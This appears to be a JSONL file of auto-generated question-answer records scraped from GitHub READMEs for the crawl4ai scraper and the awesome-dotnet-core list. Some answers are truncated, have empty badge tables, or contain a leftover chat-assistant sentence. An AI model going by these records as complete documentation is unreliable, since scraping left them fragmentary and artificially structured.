\"name\": \"section_description\",\n            \"selector\": \".charge-content\",\n            \"type\": \"text\",\n        },\n        {\n            \"name\": \"course_name\",\n            \"selector\": \".text-block-93\",\n            \"type\": \"text\",\n        },\n        {\n            \"name\": \"course_description\",\n            \"selector\": \".course-content-text\",\n            \"type\": \"text\",\n        },\n        {\n            \"name\": \"course_icon\",\n            \"selector\": \".image-92\",\n            \"type\": \"attribute\",\n            \"attribute\": \"src\"\n        }\n    ]\n}\n\n    extraction_strategy = JsonCssExtractionStrategy(schema, verbose=True)\n\n    browser_config = BrowserConfig(\n        headless=False,\n        verbose=True\n    )\n    run_config = CrawlerRunConfig(\n        extraction_strategy=extraction_strategy,\n        js_code=[\"\"\"(async () => {const tabs = document.querySelectorAll(\"section.charge-methodology .tabs-menu-3 > div\");for(let tab of tabs) {tab.scrollIntoView();tab.click();await new Promise(r => setTimeout(r, 500));}})();\"\"\"],\n        cache_mode=CacheMode.BYPASS\n    )\n        \n    async with AsyncWebCrawler(config=browser_config) as crawler:\n        \n        result = await crawler.arun(\n            url=\"https://www.kidocode.com/degrees/technology\",\n            config=run_config\n        )\n\n        companies = json.loads(result.extracted_content)\n        print(f\"Successfully extracted {len(companies)} companies\")\n        print(json.dumps(companies[0], indent=2))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n📚\nExtracting Structured Data with LLMs\n```python\nimport os\nimport asyncio\nfrom crawl4ai import AsyncWebCrawler, BrowserConfig, CrawlerRunConfig, CacheMode, LLMConfig\nfrom crawl4ai import LLMExtractionStrategy\nfrom pydantic import BaseModel, Field\n\nclass OpenAIModelFee(BaseModel):\n    model_name: str = Field(..., description=\"Name of the OpenAI model.\")\n    input_fee: str = Field(..., description=\"Fee for input token for the OpenAI model.\")\n    output_fee: str = Field(..., description=\"Fee for output token for the OpenAI model.\")\n\nasync def main():\n    browser_config = BrowserConfig(verbose=True)\n    run_config = CrawlerRunConfig(\n        word_count_threshold=1,\n        extraction_strategy=LLMExtractionStrategy(\n            # Here you can use any provider that Litellm library supports, for instance: ollama/qwen2\n            # provider=\"ollama/qwen2\", api_token=\"no-token\", \n            llm_config = LLMConfig(provider=\"openai/gpt-4o\", api_token=os.getenv('OPENAI_API_KEY')), \n            schema=OpenAIModelFee.schema(),\n            extraction_type=\"schema\",\n            instruction=\"\"\"From the crawled content, extract all mentioned model names along with their fees for input and output tokens. \n            Do not miss any models in the entire content. One extracted model JSON format should look like this:", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795266"}
{"id": "gh_2452a7e8bac2", "question": "How to: Version Numbering in Crawl4AI", "question_body": "About unclecode/crawl4ai", "answer": "Crawl4AI follows standard Python version numbering conventions (PEP 440) to help users understand the stability and features of each release.\n📈\nVersion Numbers Explained\nOur version numbers follow this pattern: `MAJOR.MINOR.PATCH` (e.g., 0.4.3)\n\n#### Pre-release Versions\nWe use different suffixes to indicate development stages:\n\n- `dev` (0.4.3dev1): Development versions, unstable\n- `a` (0.4.3a1): Alpha releases, experimental features\n- `b` (0.4.3b1): Beta releases, feature complete but needs testing\n- `rc` (0.4.3): Release candidates, potential final version\n\n#### Installation\n- Regular installation (stable version):\n  ```bash\n  pip install -U crawl4ai\n  ```\n\n- Install pre-release versions:\n  ```bash\n  pip install crawl4ai --pre\n  ```\n\n- Install specific version:\n  ```bash\n  pip install crawl4ai==0.4.3b1\n  ```\n\n#### Why Pre-releases?\nWe use pre-releases to:\n- Test new features in real-world scenarios\n- Gather feedback before final releases\n- Ensure stability for production users\n- Allow early adopters to try new features\n\nFor production environments, we recommend using the stable version. For testing new features, you can opt-in to pre-releases using the `--pre` flag.", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795335"}
{"id": "gh_b7e82a08f260", "question": "How to: 📖 Documentation & Roadmap", "question_body": "About unclecode/crawl4ai", "answer": "> 🚨 **Documentation Update Alert**: We're undertaking a major documentation overhaul next week to reflect recent updates and improvements. Stay tuned for a more comprehensive and up-to-date guide!\n\nFor current documentation, including installation instructions, advanced features, and API reference, visit our [Documentation Website](https://docs.crawl4ai.com/).\n\nTo check our development plans and upcoming features, visit our [Roadmap](https://github.com/unclecode/crawl4ai/blob/main/ROADMAP.md).\n📈\nDevelopment TODOs\n- [x] 0. Graph Crawler: Smart website traversal using graph search algorithms for comprehensive nested page extraction\n- [x] 1. Question-Based Crawler: Natural language driven web discovery and content extraction\n- [x] 2. Knowledge-Optimal Crawler: Smart crawling that maximizes knowledge while minimizing data extraction\n- [x] 3. Agentic Crawler: Autonomous system for complex multi-step crawling operations\n- [x] 4. Automated Schema Generator: Convert natural language to extraction schemas\n- [x] 5. Domain-Specific Scrapers: Pre-configured extractors for common platforms (academic, e-commerce)\n- [x] 6. Web Embedding Index: Semantic search infrastructure for crawled content\n- [x] 7. Interactive Playground: Web UI for testing, comparing strategies with AI assistance\n- [x] 8. Performance Monitor: Real-time insights into crawler operations\n- [ ] 9. Cloud Integration: One-click deployment solutions across cloud providers\n- [x] 10. Sponsorship Program: Structured support system with tiered benefits\n- [ ] 11. Educational Content: \"How to Crawl\" video series and interactive tutorials", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795348"}
{"id": "gh_90efb8912c89", "question": "How to: 🤝 Contributing", "question_body": "About unclecode/crawl4ai", "answer": "We welcome contributions from the open-source community. Check out our [contribution guidelines](https://github.com/unclecode/crawl4ai/blob/main/CONTRIBUTORS.md) for more information.\n\nI'll help modify the license section with badges. For the halftone effect, here's a version with it:\n\nHere's the updated license section:", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795353"}
{"id": "gh_d1bfb80a3cec", "question": "How to: 📄 License & Attribution", "question_body": "About unclecode/crawl4ai", "answer": "This project is licensed under the Apache License 2.0, attribution is recommended via the badges below. See the [Apache 2.0 License](https://github.com/unclecode/crawl4ai/blob/main/LICENSE) file for details.", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795358"}
{"id": "gh_552a543557f4", "question": "How to: Attribution Requirements", "question_body": "About unclecode/crawl4ai", "answer": "When using Crawl4AI, you must include one of the following attribution methods:\n📈\n1. Badge Attribution (Recommended)\nAdd one of these badges to your README, documentation, or website:\n\n| Theme | Badge |\n|-------|-------|\n| **Disco Theme (Animated)** |\n|\n| **Night Theme (Dark with Neon)** |\n|\n| **Dark Theme (Classic)** |\n|\n| **Light Theme (Classic)** |\n|\n \n\nHTML code for adding the badges:\n```html\n```\n📖\n2. Text Attribution\nAdd this line to your documentation:\n```\nThis project uses Crawl4AI (https://github.com/unclecode/crawl4ai) for web data extraction.\n```", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795377"}
{"id": "gh_5173ff15a6e4", "question": "How to: 📚 Citation", "question_body": "About unclecode/crawl4ai", "answer": "If you use Crawl4AI in your research or project, please cite:\n\n```bibtex\n@software{crawl4ai2024,\n  author = {UncleCode},\n  title = {Crawl4AI: Open-source LLM Friendly Web Crawler & Scraper},\n  year = {2024},\n  publisher = {GitHub},\n  journal = {GitHub Repository},\n  howpublished = {\\url{https://github.com/unclecode/crawl4ai}},\n  commit = {Please use the commit hash you're working with}\n}\n```\n\nText citation format:\n```\nUncleCode. (2024). Crawl4AI: Open-source LLM Friendly Web Crawler & Scraper [Computer software]. \nGitHub. https://github.com/unclecode/crawl4ai\n```", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 58644, "answer_score": 10, "has_code": true, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795384"}
{"id": "gh_a5718ec88294", "question": "How to: 🏢 Enterprise Sponsors & Partners", "question_body": "About unclecode/crawl4ai", "answer": "Our enterprise sponsors and technology partners help scale Crawl4AI to power production-grade data pipelines.\n\n| Company | About | Sponsorship Tier |\n|------|------|----------------------------|\n|\n| Leveraging Thordata ensures seamless compatibility with any AI/ML workflows and data infrastructure, massively accessing web data with 99.9% uptime, backed by one-on-one customer support. | 🥈 Silver |\n|\n| NstProxy is a trusted proxy provider with over 110M+ real residential IPs, city-level targeting, 99.99% uptime, and low pricing at $0.1/GB, it delivers unmatched stability, scale, and cost-efficiency. | 🥈 Silver |\n|\n| Scrapeless provides production-grade infrastructure for Crawling, Automation, and AI Agents, offering Scraping Browser, 4 Proxy Types and Universal Scraping API. | 🥈 Silver |\n|\n| AI-powered Captcha solving service. Supports all major Captcha types, including reCAPTCHA, Cloudflare, and more | 🥉 Bronze |\n|\n| Helps engineers and buyers find, compare, and source electronic & industrial parts in seconds, with specs, pricing, lead times & alternatives.| 🥇 Gold |\n|\nKidoCode\n| Kidocode is a hybrid technology and entrepreneurship school for kids aged 5–18, offering both online and on-campus education. | 🥇 Gold |\n|\n| Singapore-based  Aleph Null is Asia’s leading edtech hub, dedicated to student-centric, AI-driven education—empowering learners with the tools to thrive in a fast-changing world. | 🥇 Gold |", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795402"}
{"id": "gh_c1cb980b882d", "question": "How to: 🧑‍🤝 Individual Sponsors", "question_body": "About unclecode/crawl4ai", "answer": "A heartfelt thanks to our individual supporters! Every contribution helps us keep our opensource mission alive and thriving!\n> Want to join them? [Sponsor Crawl4AI →](https://github.com/sponsors/unclecode)", "tags": ["unclecode"], "source": "github_gists", "category": "unclecode", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 58644, "answer_score": 10, "has_code": false, "url": "https://github.com/unclecode/crawl4ai", "collected_at": "2026-01-17T13:00:39.795412"}
{"id": "gh_c605fb6462d5", "question": "How to: Application Frameworks", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [ASP.NET Boilerplate](https://github.com/aspnetboilerplate/aspnetboilerplate) - ASP.NET Boilerplate is a general purpose application framework especially designed for new modern web applications. It uses already familiar tools and implements best practices around them to provide you a SOLID development experience.\n* [Abp vNext](https://github.com/abpframework/abp) - Abp vNext is the next generation of the open source [ASP.NET Boilerplate](https://github.com/aspnetboilerplate/aspnetboilerplate) framework. It's a complete architecture and strong infrastructure to create modern web applications!\nFollows best practices and conventions to provide you a SOLID development experience.\n* [AsyncEx](https://github.com/StephenCleary/AsyncEx) - A helper library for async/await.\n* [Aeron.NET](https://github.com/AdaptiveConsulting/Aeron.NET) - Efficient reliable UDP unicast, UDP multicast, and IPC message transport - .NET port of Aeron.\n* [akka.net](https://github.com/akkadotnet/akka.net) - Toolkit and runtime for building highly concurrent, distributed, and fault tolerant event-driven applications on .NET & Mono.\n* [Aggregates.NET](https://github.com/volak/Aggregates.NET) - Aggregates.NET is a framework to help developers integrate the excellent NServiceBus and EventStore libraries together.\n* [ASP.NET MVC](https://github.com/dotnet/aspnetcore/tree/master/src/Mvc) - Model view controller framework for building dynamic web sites with clean separation of concerns, including the merged MVC, Web API, and Web Pages w/ Razor.\n* [Butterfly Server .NET](https://github.com/firesharkstudios/butterfly-server-dotnet) - Allows building real-time web apps and native apps with minimal effort. Define a Web API and Subscription API that automatically synchronizes datasets across connected clients.\n* [CAP](https://github.com/dotnetcore/CAP) - An EventBus with local persistent message functionality for system integration in SOA or Microservice architecture.\n* [Carter](https://github.com/CarterCommunity/Carter) - Carter is a library that allows Nancy-esque routing for use with ASP.Net Core.\n* [Chromely](https://github.com/mattkol/Chromely) - Lightweight Alternative to Electron.NET, Electron for .NET/.NET Core.\n* [Cinchoo ETL](https://github.com/Cinchoo/ChoETL) - ETL Framework for .NET (Parser / Writer for CSV, Flat, Xml, JSON, Key-Value formatted files).\n* [CQRSlite](https://github.com/gautema/CQRSlite) - Lightweight framework for helping writing CQRS and Eventsourcing applications in C#.\n* [dataaccess_aspnetcore](https://github.com/digipolisantwerp/dataaccess_aspnetcore) - The DataAccess Toolbox contains the base classes for data access in ASP.NET Core with Entity Framework Core 1.0 using the unit-of-work and repository pattern.\n* [DNTFrameworkCore](https://github.com/rabbal/DNTFrameworkCore) - Lightweight and Extensible Infrastructure for Building High Quality Web Applications Based on ASP.NET Core.\n* [DotNetCorePlugins](https://github.com/natemcmaster/DotNetCorePlugins) - .NET Core library for loading assemblies as a plugin.\n* [DotnetSpider](https://github.com/dotnetcore/DotnetSpider) - DotnetSpider, a .NET Standard web crawling library similar to WebMagic and Scrapy. It is a lightweight ,efficient and fast high-level web crawling & scraping framework for .NET.\n* [DotNetty](https://github.com/Azure/DotNetty) - Port of netty, event-driven asynchronous network application framework.\n* [dotvvm](https://github.com/riganti/dotvvm) - Open source MVVM framework for Web Apps.\n* [ElectronNET](https://github.com/ElectronNET/Electron.NET) - Build cross platform desktop apps with ASP.NET NET Core.\n* [EmbedIO](https://github.com/unosquare/embedio) - A tiny, cross-platform, module based web server for .NET Framework and .NET Core.\n* [Ether.Network](https://github.com/aloisdg/Ether.Network) - Ether.Network is an open source networking library that allow developers to create simple, fast and scalable socket server or client applications over the TCP/IP protocol.\n* [EventFlow](https://github.com/eventflow/EventFlow) - Async/await first CQRS+ES and DDD framework for .NET.\n* [ExcelDataReader](https://github.com/ExcelDataReader/ExcelDataReader) - Lightweight and fast library written in C# for reading Microsoft Excel files.\n* [ExtCore](https://github.com/ExtCore) - Free, open source and cross-platform framework for creating modular and extendable web applications based on ASP.NET Core 1.0.\n* [Finbuckle.MultiTenant](https://github.com/Finbuckle/Finbuckle.MultiTenant) - Finbuckle.MultiTenant is a .NET Standard library for multitenant support designed for ASP.NET 2.0+. It provides functionality for tenant resolution, per-tenant app configuration, and per-tenant data isolation.\n* [fission](https://github.com/fission/fission) - Fast Serverless Functions for Kubernetes.\n* [grpc](https://github.com/grpc/grpc/tree/master/src/csharp) - Remote Procedure Calls (RPCs) provide a useful abstraction for building distributed applications and services. The libraries in thi", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897402"}
{"id": "gh_a30c76ae3375", "question": "How to: Application Templates", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [.NET Boxed](https://github.com/Dotnet-Boxed/Templates) - Project templates with batteries included, providing the minimum amount of code required to get you going. Includes ASP.NET Core API and GraphQL Templates.\n* [aspnet-core-react-template](https://github.com/bradymholt/aspnet-core-react-template) - ASP.NET Core 2.0 / React SPA Template App.\n* [AspNetCoreSpa](https://github.com/asadsahi/AspNetCoreSpa) - Asp.Net Core 2+ & Angular 6 SPA with Angular CLI full featured application.\n* [ASP.NET-MVC-Template](https://github.com/NikolayIT/ASP.NET-MVC-Template) - A ready-to-use templates for ASP.NET MVC 5 and ASP.NET Core with repositories, services, models mapping and DI and StyleCop warnings fixed.\n* [AddFeatureFolders](https://github.com/OdeToCode/AddFeatureFolders) - Enable feature folders for MVC controllers and views in ASP.NET Core.\n* [Angular Visual Studio Webpack Starter](https://github.com/damienbod/AngularWebpackVisualStudio) - Template for Webpack, Visual Studio, ASP.NET Core and Angular. Both the client and the server side of the application are implemented inside one ASP.NET Core project which makes it easier to deploy.\n* [CleanArchitecture](https://github.com/ardalis/CleanArchitecture) - A starting point for Clean Architecture with ASP.NET Core. Clean Architecture is just the latest in a series of names for the same loosely-coupled, dependency-inverted architecture. You will also find it named hexagonal, ports-and-adapters, or onion architecture.\n* [CleanArchitecture (SPA)](https://github.com/JasonGT/CleanArchitecture) - Solution template for creating a Single Page App (SPA) with Angular 8 and ASP.NET Core 3 following the principles of Clean Architecture\n* [DNTFrameworkCoreTemplate](https://github.com/rabbal/DNTFrameworkCoreTemplate) - Boilerplate project templates based on [DNTFrameworkCore](https://github.com/rabbal/DNTFrameworkCore)\n* [dotnet new caju](https://github.com/ivanpaulovich/dotnet-new-caju) - dotnet new templates with awesome architecture styles! Increases productivity to design layered applications based on Hexagonal, Clean or Event Sourcing architectures styles. It supports multiple data access frameworks (MongoDB, EntityFramework, Dapper or Kafka) and it is completely testable.\n* [EISK](https://github.com/EISK/eisk.webapi) - Provides developer resources with simple use cases to build scalable applications on top of .NET Core with [architectural best practices](https://docs.microsoft.com/en-us/dotnet/standard/modern-web-apps-azure-architecture/common-web-application-architectures) (DDD, onion architecture etc)\n* [JavaScriptServices](https://github.com/aspnet/JavaScriptServices) - Microsoft ASP.NET Core JavaScript Services.\n* [kendo-ui-core](https://github.com/telerik/kendo-ui-core) - An HTML5, jQuery-based widget library for building modern web apps. [http://www.telerik.com/kendo-ui](http://www.telerik.com/kendo-ui).\n* [QuickApp](https://github.com/emonney/QuickApp) - ASP.NET Core / Angular4 startup project template with complete login, user and role management.\n* [Serenity](https://github.com/volkanceylan/Serenity) - Serenity is an ASP.NET MVC / TypeScript application platform designed to simplify and shorten development of data-centric business applications with a service based architecture.\n* [Toucan](https://github.com/mrellipse/toucan) - Boilerplate for building single page apps. Server is multi-project .Net Core solution designed around SOLID principles. Client is TypeScript 2, Vuejs 2, Vuex 2.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897423"}
{"id": "gh_f711ea098925", "question": "How to: Authentication and Authorization", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [AspNet.Security.OpenIdConnect.Server](https://github.com/aspnet-contrib/AspNet.Security.OpenIdConnect.Server) - OpenID Connect/OAuth2 server framework for OWIN/Katana and ASP.NET Core.\n* [Auth0](https://github.com/auth0/auth0.net) - Hosted, enterprise-grade platform for modern identity.\n* [Casbin.NET](https://github.com/casbin-net/Casbin.NET) - Authorization library that supports access control models like ACL, RBAC, ABAC in C#\n* [Identity](https://github.com/aspnet/Identity) - ASP.NET Core Identity is the membership system for building ASP.NET Core web applications, including membership, login, and user data.\n* [IdentityServer](https://github.com/IdentityServer/IdentityServer4) - IdentityServer for ASP.NET Core 1.0 & 2.0\n  * [IdentityServer4.EntityFramework](https://github.com/IdentityServer/IdentityServer4.EntityFramework) - EntityFramework persistence layer\n  * [IdentityServer4.MongoDB](https://github.com/diogodamiani/IdentityServer4.MongoDB) - MongoDB persistence layer\n  * [IdentityServer4.EntityFrameworkCore](https://github.com/2020IP/TwentyTwenty.IdentityServer4.EntityFrameworkCore) - Entity Framework Core persistence layer\n  * [IdentityServer4.Templates](https://github.com/IdentityServer/IdentityServer4.Templates) - dotnet cli templates for IdentityServer4.\n* [Okta](https://github.com/okta/okta-aspnet) - Hosted, enterprise-grade platform for modern identity.\n* [openiddict](https://github.com/openiddict/openiddict-core) - Easy-to-use OpenID Connect server for ASP.NET Core.\n  * [oidc-debugger](https://github.com/nbarbettini/oidc-debugger) - OAuth 2.0 and OpenID Connect debugging tool.\n* [stormpath-sdk](https://github.com/stormpath/stormpath-sdk-dotnet) - Build [simple, secure web applications](https://github.com/stormpath/stormpath-aspnetcore) with Stormpath and ASP.NET Core. \n* [stormpath-sdk](https://github.com/stormpath/stormpath-sdk-dotnet) - Build [simple, secure web applications](https://github.com/stormpath/stormpath-aspnetcore) with Stormpath and ASP.NET Core.(Deprecated: It will longer get updated as of March 2017 after joining OKTA) \n* [stuntman](https://github.com/ritterim/stuntman) - Library for impersonating users during development leveraging ASP.NET Identity.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897434"}
{"id": "gh_9f318d731e45", "question": "How to: Blockchain", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [BTCPayServer](https://github.com/btcpayserver/btcpayserver) - A cross platform, self-hosted server compatible with Bitpay API.\n* [Meadow](https://github.com/MeadowSuite/Meadow) - An integrated Ethereum implementation and tool suite focused on Solidity testing and development.\n* [NBitcoin](https://github.com/MetacoSA/NBitcoin) - Comprehensive Bitcoin library for the .NET framework.\n* [NBlockchain](https://github.com/danielgerlag/NBlockchain) - .NET standard library for building blockchain enabled applications\n* [NBXplorer](https://github.com/dgarage/NBXplorer) - A Bitcoin and Altcoin lightweight block explorer.\n* [NEO](https://github.com/neo-project/neo) - Open Network For Smart Economy.\n* [Nethereum](https://github.com/Nethereum) - Bringing the love of Ethereum to .NET.\n* [Nethermind](https://github.com/NethermindEth/nethermind) - .NET Core Ethereum client\n* [StratisBitcoinFullNode](https://github.com/stratisproject/StratisBitcoinFullNode) - Simple and affordable end-to-end solutions for development, testing and deployment of native C# blockchain applications on the .Net framework.\n* [Trezor.Net](https://github.com/MelbourneDeveloper/Trezor.Net) - Cross platform C# library for talking to the Trezor Hardwarewallet\n* [WalletWasabi](https://github.com/zkSNACKs/WalletWasabi) - Privacy focused, ZeroLink compliant Bitcoin wallet.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897442"}
{"id": "gh_8b3988012cf8", "question": "How to: Build Automation", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [cake-build](https://github.com/cake-build/cake) - Cross platform build automation system.\n* [CatLight](https://catlight.io) - Status notifier for developers that monitors builds and tasks in the project. Built using .Net Core and Electron.\n* [Colorful.Console](https://github.com/tomakita/Colorful.Console) - Style your C# console output!\n* [dotnet-docker](https://github.com/dotnet/dotnet-docker) - The base Docker images for working with .NET Core and the .NET Core Tools.\n* [Dockerize.NET](https://github.com/brthor/Dockerize.NET) - .NET Cli Tool to package your .NET Core Application into a docker image: 'dotnet dockerize'\n* [FlubuCore](https://github.com/dotnetcore/FlubuCore) - A cross platform build and deployment automation system for building projects and executing deployment scripts using C# code.\n* [GitInfo](https://github.com/kzu/GitInfo) - Git and SemVer Info from MSBuild, C# and VB.\n* [GitVersioning](https://github.com/AArnott/Nerdbank.GitVersioning) - Stamp your assemblies and NuGet packages with a version from a single, simple version.txt file and include git commit IDs for non-official builds.\n* [go-dotnet](https://github.com/matiasinsaurralde/go-dotnet) - Go wrapper for the .NET Core Runtime.\n* [Image2Docker](https://github.com/docker/communitytools-image2docker-win) - PowerShell module which ports existing Windows application workloads to Docker.\n* [LocalAppVeyor](https://github.com/joaope/LocalAppVeyor) - Run your AppVeyor builds, locally.\n* [msbuild](https://github.com/Microsoft/msbuild) - The Microsoft Build Engine is a platform for building applications.\n* [Nuke](https://github.com/nuke-build/nuke) - Cross-platform build automation system.\n* [Opserver](https://github.com/opserver/Opserver) - Stack Exchange's Monitoring System.\n* [vsts-agent](https://github.com/Microsoft/vsts-agent/blob/master/README.md) - Visual Studio Team Services Build and Release Agent.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897452"}
{"id": "gh_95312d1c92ed", "question": "How to: Bundling and Minification", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [BundlerMinifier](https://github.com/madskristensen/BundlerMinifier) - Visual Studio extension that let's you configure bundling and minification of JS, CSS and HTML files.\n* [JavaScriptViewEngine](https://github.com/pauldotknopf/JavaScriptViewEngine) - ASP.NET MVC ViewEngine for rendering markup in a JavaScript environment. Ideal for React and Angular server-side rendering.\n* [Smidge](https://github.com/Shazwazza/Smidge/) - Lightweight runtime CSS/JavaScript file minification, combination, compression & management library for ASP.NET Core.\n* [Web Markup Minifier](https://github.com/Taritsyn/WebMarkupMin) - .NET library that contains a set of markup minifiers. The objective of this project is to improve the performance of web applications by reducing the size of HTML, XHTML and XML code.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897460"}
{"id": "gh_695d6eb1c596", "question": "How to: Code Analysis and Metrics", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [awesome-static-analysis](https://github.com/mre/awesome-static-analysis) - Curated list of static analysis tools, linters and code quality checkers for various programming languages.\n* Code Analysis\n  * [CodeFormatter](https://github.com/dotnet/codeformatter) - Tool that uses Roslyn to automatically rewrite the source to follow netfx coding styles. [Nuget Package](https://www.nuget.org/packages/Dotnet.CodeFormatter.BuildTask.Fork) \n  * [DevSkim](https://github.com/Microsoft/DevSkim) - A set of IDE plugins and rules that provide security \"linting\" capabilities.\n  * [RefactoringEssentials](https://github.com/icsharpcode/RefactoringEssentials) - Refactoring Essentials for Visual Studio.\n  * [roslyn-analyzers](https://github.com/dotnet/roslyn-analyzers) - .NET Compiler Platform (\"Roslyn\") Analyzers.\n  * [StyleCopAnalyzers](https://github.com/DotNetAnalyzers/StyleCopAnalyzers) - StyleCop rules using the .NET Compiler Platform.\n* Metrics\n  * [AppMetrics](https://github.com/alhardy/AppMetrics) - App Metrics is an open-source and cross-platform .NET library used to record and report metrics within an application and reports it's health.\n  * [Audit.NET](https://github.com/thepirat000/Audit.NET) - Small framework to audit .NET object changes.\n  * [BenchmarkDotNet](https://github.com/dotnet/BenchmarkDotNet) - Powerful .NET library for benchmarking.\n  * [coverlet](https://github.com/tonerdo/coverlet) - Cross platform code coverage library for .NET Core.\n  * [Foundatio](https://github.com/exceptionless/Foundatio#metrics) - A common interface with in memory, redis, StatsD, and Metrics.NET implementations.\n  * [MiniCover](https://github.com/lucaslorentz/minicover) - Minimalist Code Coverage Tool for .NET Core.\n  * [NBench](https://github.com/petabridge/NBench) - Performance benchmarking and testing framework for .NET applications.\n  * [Nexogen.Libraries.Metrics](https://github.com/nexogen-international/Nexogen.Libraries.Metrics) - Library for collecting application metrics in .NET and exporting them to Prometheus.\n  * [OpenCover](https://github.com/OpenCover/opencover) - Code coverage tool for .NET 2 and above (WINDOWS OS only), support for 32 and 64 processes with both branch and sequence points.\n  * [PerformanceMonitor](https://github.com/dotnet-architecture/PerformanceMonitor) - .NET Core Application Performance Monitor.\n  * [prometheus-net](https://github.com/prometheus-net/prometheus-net) - .NET Client for [https://prometheus.io](https://prometheus.io).\n  * [Prometheus.Client](https://github.com/PrometheusClientNet/Prometheus.Client) - .NET Client for [Prometheus](https://prometheus.io).\n  \t* [Prometheus.Client.MetricPusher](https://github.com/PrometheusClientNet/Prometheus.Client.MetricPusher) -  Push metrics to a PushGateaway for the Prometheus.Client.\n  \t* [Prometheus.Client.AspNetCore](https://github.com/PrometheusClientNet/Prometheus.Client.AspNetCore) -  Middleware for the Prometheus.Client.\n  \t* [Prometheus.Client.MetricServer](https://github.com/PrometheusClientNet/Prometheus.Client.MetricServer) -  MetricServer for the Prometheus.Client.\n  \t* [Prometheus.Client.HttpRequestDurations](https://github.com/PrometheusClientNet/Prometheus.Client.HttpRequestDurations) -  Metrics logging of request durations for the Prometheus.Client.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897475"}
{"id": "gh_c80eb78a8ce5", "question": "How to: Compression", "question_body": "About thangchung/awesome-dotnet-core", "answer": "* [lz4net](https://github.com/MiloszKrajewski/K4os.Compression.LZ4) - Ultra fast compression algorithm for all .NET platforms.\n* [sharpcompress](https://github.com/adamhathcock/sharpcompress) - Fully managed C# library to deal with many compression types and formats.", "tags": ["thangchung"], "source": "github_gists", "category": "thangchung", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21029, "answer_score": 10, "has_code": false, "url": "https://github.com/thangchung/awesome-dotnet-core", "collected_at": "2026-01-17T13:00:49.897481"}
